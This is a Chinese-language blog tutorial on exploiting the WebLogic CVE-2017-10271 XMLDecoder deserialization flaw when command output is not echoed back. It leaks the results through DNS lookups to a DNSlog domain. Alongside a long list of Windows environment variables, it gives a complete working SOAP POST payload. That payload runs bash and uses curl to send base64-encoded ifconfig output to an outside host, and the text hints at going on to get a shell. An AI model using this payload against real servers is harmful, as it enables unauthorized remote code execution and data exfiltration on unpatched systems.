作者:Armyzer0

Weblogic(CVE-2017-10271) 漏洞出来以后又是一波血雨腥风,正好我昨天测试的时候发现了一个存在这个漏洞的weblogic,但是他不回显咋办呢!让他返回执行结果集到dnslong首先大家先了解下 “ 这个符号在Linux的作用!

符号:` `
名称:反引号,上分隔符
位置:反引号(`)这个字符一般在键盘的左上角,数字1的左边,不要将其同单引号(’)混淆
作用:反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分

` ` 里面的内容是当做命令来执行

还有一些其他符号也可以产生同样的效果我就不一一介绍了

然后我们在来说下Windows 下的

ping %COMPUTERNAME%.baidu.com  [/size][/align]
[align=left][size=3]%COMPUTERNAME% 是一个变量,得到计算机名[/size][/align]
[align=left][size=3]%ALLUSERSPROFILE% : 列出所有用户Profile文件位置。
%APPDATA% :  列出应用程序数据的默认存放位置。
%CD% :  列出当前目录。
%CLIENTNAME% :  列出联接到终端服务会话时客户端的NETBIOS名。
%CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。
%CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。
%CommonProgramFiles% :  列出了常用文件的文件夹路径。
%COMPUTERNAME% :  列出了计算机名。 
%COMSPEC% :  列出了可执行命令外壳(命令处理程序)的路径。
%DATE% :  列出当前日期。
%ERRORLEVEL% :  列出了最近使用的命令的错误代码。
%HOMEDRIVE% :  列出与用户主目录所在的驱动器盘符。
%HOMEPATH% :  列出用户主目录的完整路径。
%HOMESHARE% :  列出用户共享主目录的网络路径。
%LOGONSEVER% :  列出有效的当前登录会话的域名控制器名。
%NUMBER_OF_PROCESSORS% :  列出了计算机安装的处理器数。
%OS% :  列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)
%Path% :  列出了可执行文件的搜索路径。
%PATHEXT% :  列出操作系统认为可被执行的文件扩展名。 
%PROCESSOR_ARCHITECTURE% :  列出了处理器的芯片架构。
%PROCESSOR_IDENTFIER% :  列出了处理器的描述。
%PROCESSOR_LEVEL% :  列出了计算机的处理器的型号。 
%PROCESSOR_REVISION% :  列出了处理器的修订号。
%ProgramFiles% :  列出了Program Files文件夹的路径。
%PROMPT% :  列出了当前命令解释器的命令提示设置。
%RANDOM% :  列出界于0 和 32767之间的随机十进制数。
%SESSIONNAME% :  列出连接到终端服务会话时的连接和会话名。
%SYSTEMDRIVE% :  列出了Windows启动目录所在驱动器。
%SYSTEMROOT% :  列出了Windows启动目录的位置。
%TEMP% and %TMP% :  列出了当前登录的用户可用应用程序的默认临时目录。
%TIME% :  列出当前时间。
%USERDOMAIN% :  列出了包含用户帐号的域的名字。
%USERNAME% :  列出当前登录的用户的名字。
%USERPROFILE% :  列出当前用户Profile文件位置。
%WINDIR% :  列出操作系统目录的位置。 
[/size][/align][align=left][size=3]变量 类型 描述 
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 
%CD% 本地 返回当前目录字符串。 
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 
%COMPUTERNAME%  系统 返回计算机的名称。 
%COMSPEC%  系统 返回命令行解释器可执行程序的准确路径。 
%DATE%  系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 
%ERRORLEVEL%  系统 返回上一条命令的错误代码。通常用非零值表示错误。 
%HOMEDRIVE%  系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 
%HOMEPATH%  系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 
%HOMESHARE%  系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 
%LOGONSERVER%  本地 返回验证当前登录会话的域控制器的名称。 
%NUMBER_OF_PROCESSORS%  系统 指定安装在计算机上的处理器的数目。 
%OS%  系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 
%PATH% 系统 指定可执行文件的搜索路径。 
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 
%PROCESSOR_ARCHITECTURE%  系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。 
%PROCESSOR_LEVEL%  系统 返回计算机上安装的处理器的型号。 
%PROCESSOR_REVISION% 系统 返回处理器的版本号。 
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 
%SYSTEMROOT%  系统 返回 Windows server operating system 根目录的位置。 
%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 
%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。 
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。 
%USERNAME% 本地 返回当前登录的用户的名称。 
%USERPROFILE% 本地 返回当前用户的配置文件的位置。 
%WINDIR% 系统 返回操作系统目录的位置。
 
%allusersprofile%--------------------所有用户的profile路径
 
%Userprofile%-----------------------当前用户的配置文件目录
 
%Appdata%--------------------------当前用户的应用程序路径
 
%commonprogramfiles%-------------应用程序公用的文件路径
 
%homedrive%------------------------当前用户的主盘
 
%Homepath%------------------------当前用户的主目录
 
%programfiles%----------------------应用程序的默认安装目录
 
%systemdrive%----------------------系统所在的盘符
 
%systemroot%-----------------------系统所在的目录
 
%windir%----------------------------同上,总是跟systemroot一样
 
%tmp%------------------------------当前用户的临时目录
 
%temp%-----------------------------同上临时目录[/size][/align][align=left][size=3]

这里给大家附上Windows下的变量大全:

至于dnslong 也在这里 小小的科普下

wiki:

NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。 DNS:域名解析服务器。 A记录:指定域名对应的IP地址。

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

太多的介绍就不说,命令执行返回的结果显示搞定了,但是接来下碰到一个问题就是你执行

的命令有空格 DNslog 里面的会得到什么,

看到没有 只返回docker0:

这个 原有的内容是

这个时候 我们该如何是好,

教大家一个办法,把输出的内容base64以后在把空格换成-

然后查看dnslog

得到base64 但是觉得把-去除 然后解密 就可以了

在这里给出大家poc 实战

我就不发了 第一懒得搭环境,第二 怕菊花不保

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Content-Type:text/xml
Content-Length: 657
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java version="1.8.0_131" class="java.beans.XMLDecoder">
 <void class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
 <string>curl XXXX.dnslog.link/`ifconfig|base64|tr '\n' '-'`</string>
 </void>
 </array>
 <void method="start"/></void>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

好了 打完收工,至于什么getshell 呀 这些我就不说了 大神请开始你们的表演

技术有限 写错请勿喷我,但是你们可以打我!

>>>>>>黑客入门必备技能 带你入坑,和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩!

利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果的更多相关文章

  1. 通过DNSLOG回显验证漏洞

    通过DNSLOG回显验证漏洞 前言 实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSl ...

  2. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  3. 利用DNSLog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入 DNSLOG ...

  4. 巧用DNSlog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...

  5. 【渗透测试】如何利用burpsuite测试无回显漏洞

    前面的文章讲了在windows和linux上的不同的无文件渗透测试的方法,那么这篇文章给大家讲解如何在漏洞没有回显的情况下,利用burpsuite自带插件进行测试的方式. 首先我们稍微提一下有哪些无回 ...

  6. 巧用DNSlog实现无回显注入【转载】

    原作者:afanti 原出处:https://www.cnblogs.com/afanti/p/8047530.html 0x00 简介 测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行 ...

  7. [WEB安全]无回显代码执行【转载】

    原作者:AdminTony 原文链接:http://www.admintony.com/无回显代码执行利用方法.html 在Root-Me上有一道代码执行的题目,其链接为题目链接 0x01 简介 打开 ...

  8. SpEL表达式注入漏洞学习和回显poc研究

    目录 前言 环境 基础学习和回显实验 语法基础 回显实验 BufferedReader Scanner SpEL漏洞复现 低版本SpringBoot中IllegalStateException CVE ...

  9. php利用wsh突破函数禁用执行命令(安全模式同理)

    php利用wsh突破函数禁用执行命令(安全模式同理) 前提.需要服务器支持wsh.并知道php安装目录 但是php利用wsh执行命令是没有asp的权限高的.   突破代码 <?php $cmd= ...

随机推荐

  1. 结构体的sort【防止遗忘w】

    #include<iostream> #include<algorithm> using namespace std; int n; struct jie { int num; ...

  2. asp.net请求编译流程图(其实就是说asp.netd代码是如何转成中间代码IL然后交给cpu执行的)

  3. c++11多线程学习笔记之四 生产消费者

    #ifndef MY_QUEUE_H__ #define MY_QUEUE_H__ #include<list> #include<mutex> #include<thr ...

  4. Microsoft DirectX SDK 2010 版本下载

    Microsoft DirectX SDK 2010 版本下载 Version:Date Published:9.29.19626/7/2010File name:File size:DXSDK_Ju ...

  5. eclipse怎样检出SVN项目

    首先确定你的eclipse安装了svn插件.查看eclipse是否安装插件的方法:打开eclipse->文件->新建->其他 ,在弹出的选择向导窗口中如果能搜索到svn,说明ecli ...

  6. 2018.07.17 牛奶模式Milk Patterns(二分+hash)

    传送门 一道简单的字符串.这里收集了几种经典做法: SAM,不想写. 后缀数组+二分,不想写 后缀数组+单调队列,不想写 hash+二分,for循哈希,天下无敌!于是妥妥的hash 代码如下: #in ...

  7. redis与ssm整合(用 redis 替代mybatis二级缓存)

    SSM+redis整合 这里主要是利用redis去做mybatis的二级缓存,mybaits映射文件中所有的select都会刷新已有缓存,如果不存在就会新建缓存,所有的insert,update操作都 ...

  8. sql join用法(转)

    left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录 right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等的记录inner join(等值连接) 只 ...

  9. Cadence丢失了csdCommon.dll

    http://bbs.elecfans.com/jishu_450237_1_1.html

  10. *C语言的小技巧

    计算数组长度 ,,,,}; int Length=sizeof(a)/sizeof(int); 交换a和b的值,不借用辅助变量 a=a+b; b=a-b; a=a-b; 将0-9的字符转化为整数 '; ...